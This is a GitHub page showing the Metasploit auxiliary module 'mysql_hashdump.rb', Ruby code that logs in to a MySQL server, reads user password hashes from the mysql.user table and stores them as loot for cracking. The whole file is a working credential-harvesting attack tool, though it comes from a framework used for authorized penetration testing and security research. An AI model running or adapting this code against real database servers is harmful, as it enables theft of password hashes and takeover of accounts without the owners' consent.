-
Notifications
You must be signed in to change notification settings - Fork 14.2k
/
Copy pathmysql_hashdump.rb
115 lines (98 loc) · 3.16 KB
/
mysql_hashdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::OptionalSession::MySQL
def initialize
super(
'Name' => 'MYSQL Password Hashdump',
'Description' => %(
This module extracts the usernames and encrypted password
hashes from a MySQL server and stores them for later cracking.
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
end
def run_host(ip)
# If we have a session make use of it
if session
print_status("Using existing session #{session.sid}")
self.mysql_conn = session.client
else
# otherwise fallback to attempting to login
return unless mysql_login_datastore
end
service_data = {
address: mysql_conn.peerhost,
port: mysql_conn.peerport,
service_name: 'mysql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: datastore['PASSWORD'],
private_type: :password,
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
# Grab the username and password hashes and store them as loot
version = mysql_get_variable("@@version")
if version.nil?
print_error("There was an error reading the version")
return
end
# Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.
if version[0..2].to_f > 5.6
res = mysql_query("SELECT user,authentication_string from mysql.user")
else
res = mysql_query("SELECT user,password from mysql.user")
end
if res.nil?
print_error("There was an error reading the MySQL User Table")
return
end
service_data = {
address: ::Rex::Socket.getaddress(mysql_conn.peerhost, true),
port: mysql_conn.peerport,
service_name: 'mysql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
jtr_format: 'mysql,mysql-sha1',
module_fullname: self.fullname,
private_type: :nonreplayable_hash
}
credential_data.merge!(service_data)
if res.size > 0
res.each do |row|
credential_data[:username] = row[0]
credential_data[:private_data] = row[1]
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
end
end